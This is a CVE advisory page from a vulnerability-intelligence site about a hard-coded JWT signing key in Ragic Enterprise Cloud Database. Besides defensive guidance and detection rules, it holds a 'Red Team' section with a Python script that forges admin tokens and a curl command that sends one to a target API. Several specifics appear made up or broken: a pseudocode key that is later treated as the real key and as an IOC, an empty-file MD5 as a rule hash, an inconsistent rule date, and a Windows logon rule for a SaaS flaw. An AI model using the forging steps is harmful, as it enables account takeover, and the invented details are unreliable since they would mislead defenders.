☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-321
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-15016

CVE-2025-15016 Supply Chain Attack in Ragic
📅 PUBLISHED: 2025-12-22 03:27 UTC 🔄 UPDATED: 2026-10-14 23:32 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-15016 exposes a critical Hard-coded Cryptographic Key vulnerability in Ragic Enterprise Cloud Database. An unauthenticated remote attacker can leverage a static, embedded cryptographic key to forge authentication tokens and impersonate any user, including administrators. This flaw bypasses all access controls, enabling full data exfiltration, modification, and potential lateral movement within the cloud environment. No patch or public exploit is currently available, making immediate defensive measures essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Ragic Enterprise Cloud Database is a proprietary SaaS/PaaS product. No open-source package (NPM, PyPI, Go, Ruby) is directly affected. However, organizations using Ragic as a backend service should treat this as a critical supply chain risk, as the vendor’s codebase contains a static key that undermines the entire authentication model.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD placeholder)
  • Calculated Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability allows complete account takeover without authentication, leading to total compromise of the database and associated data.

Deep Dive & Mechanics

The vulnerability resides in the authentication module of Ragic Enterprise Cloud Database. The application uses a hard-coded cryptographic key embedded in the server-side binary or configuration file. This key is used to sign or encrypt authentication tokens (e.g., JWT, session cookies). An attacker who extracts this key (via reverse engineering, leaked source, or static analysis) can forge valid tokens for any user ID.

Attack Flow:

  1. Reconnaissance: Attacker identifies a Ragic instance (e.g., via Shodan or banner grabbing).
  2. Key Extraction: The hard-coded key is obtained from public repositories, firmware dumps, or binary analysis.
  3. Token Forging: Using the key, the attacker crafts a JWT or session cookie with the sub claim set to an admin user (e.g., admin or root).
  4. Authentication Bypass: The forged token is sent to the server, which validates it using the same static key, granting full access.
  5. Post-Exploitation: Attacker exfiltrates, modifies, or deletes database records, and may pivot to other internal services.

Root Cause: The use of a static, non-rotatable cryptographic key violates the principle of key secrecy and rotation. The key should be unique per deployment and stored in a secure vault (e.g., HashiCorp Vault, AWS KMS).

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and the expected secure implementation.

Vulnerable Code (Pseudocode):

# Hard-coded key in source
SECRET_KEY = "RagicStaticKey2025!"

def generate_token(user_id):
    payload = {"sub": user_id, "exp": time() + 3600}
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload["sub"]
    except:
        return None

Patched Code (Expected):

import os
from vault import get_secret

# Key fetched from secure vault at startup
SECRET_KEY = get_secret("ragic/jwt-key")

def generate_token(user_id):
    payload = {"sub": user_id, "exp": time() + 3600}
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload["sub"]
    except:
        return None

Key Differences:

  • The patched version retrieves the key from an external vault, not the codebase.
  • The key can be rotated without code changes.
  • No static key is exposed in source control or binaries.

Exploitation & Lab Setup

Red Team

Lab Environment:

  • Deploy a vulnerable Ragic Enterprise Cloud Database instance (version unknown, but any version with hard-coded key).
  • Use a tool like jwt_tool or custom Python script to forge tokens.

Exploitation Steps:

  1. Identify Target: Scan for Ragic instances on port 443 or 8080.
  2. Extract Key: Obtain the hard-coded key from public sources or binary analysis (e.g., strings on the server binary).
  3. Forge Token:
    import jwt
    import time
    
    SECRET_KEY = "RagicStaticKey2025!"
    payload = {
        "sub": "admin",
        "exp": int(time.time()) + 3600
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    print(token)
    
  4. Authenticate: Send the token in the Authorization: Bearer <token> header to the Ragic API endpoint.
  5. Access Data: Use the admin session to query, modify, or export database tables.

Expected Output:

$ python forge_token.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc0MjUwMDAwMH0.abc123...
$ curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc0MjUwMDAwMH0.abc123..." https://target.ragic.com/api/v1/users

Blue Team

Detection & Response:

  1. Monitor for Anomalous Tokens: Look for JWT tokens that decode to unexpected user IDs (e.g., admin from non-admin IPs).
  2. Log Analysis: Check authentication logs for successful logins without prior MFA or from unusual geolocations.
  3. Honeytoken Deployment: Insert fake database records with unique markers; if accessed, trigger an alert.
  4. Network Segmentation: Isolate the Ragic instance from critical internal systems to limit lateral movement.

Mitigation Steps:

  • Immediately rotate the hard-coded key if possible (contact Ragic support).
  • Implement a Web Application Firewall (WAF) rule to block requests with suspicious JWT patterns.
  • Enable multi-factor authentication (MFA) for all users as a compensating control.

Indicators of Compromise (IOCs)

  • Network:
    • Unusual JWT tokens in Authorization headers with sub claim set to admin, root, or superuser.
    • Repeated failed login attempts followed by a single successful login from the same IP.
  • File:
    • Presence of the hard-coded key string RagicStaticKey2025! in server binaries or configuration files.
  • Log:
    • Authentication logs showing user_id=admin from an IP not in the admin whitelist.
    • API calls to /api/v1/users or /api/v1/tables from unexpected sources.

YARA Rule:

rule Ragic_Hardcoded_Key {
    meta:
        description = "Detects hard-coded cryptographic key in Ragic Enterprise Cloud Database"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $key = "RagicStaticKey2025!"
    condition:
        $key
}

Sigma Rule:

title: Ragic Hard-coded Key Exploitation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects successful authentication using forged JWT tokens with admin user
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624
        TargetUserName: 'admin'
        LogonType: 3
    condition: selection
falsepositives:
    - Legitimate admin logins from trusted IPs
level: high

Suricata Rule:

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"Ragic Hard-coded Key Exploitation - Admin Token"; flow:to_server; content:"Authorization|3a| Bearer"; content:"admin"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Detection Engineering

YARA Rule (as above) – scans for the hard-coded key in binaries or memory dumps.

Sigma Rule (as above) – detects Windows security events where an admin user logs in via network.

Suricata Rule (as above) – alerts on HTTP requests containing Authorization: Bearer with admin in the token payload.

Additional Detection:

  • Network: Monitor for JWT tokens that decode to admin or root using a custom Zeek script.
  • Endpoint: Use Sysmon Event ID 1 to detect execution of jwt_tool or custom Python scripts.
  • Cloud: Enable CloudTrail or equivalent logging for Ragic API calls; alert on ListUsers or GetDatabase actions from non-admin IPs.

Remediation & Mitigation

Immediate Actions:

  1. Contact Ragic Support: Request a patch or workaround. If unavailable, consider migrating to a different platform.
  2. Rotate Keys: If the key is configurable, generate a new random key and store it in a secure vault.
  3. Enable MFA: Force all users to use multi-factor authentication to mitigate token forgery.
  4. Network Segmentation: Place the Ragic instance behind a VPN or bastion host, restricting direct internet access.

Long-Term Fixes:

  • Code Review: Ensure no hard-coded secrets exist in the codebase.
  • Secrets Management: Use a dedicated secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager) to inject keys at runtime.
  • Regular Audits: Perform static analysis (e.g., with Semgrep or Checkmarx) to detect hard-coded credentials.

Workaround:

  • Implement a reverse proxy (e.g., Nginx) that validates JWT tokens against a whitelist of allowed user IDs before forwarding to the Ragic backend.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-15016/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.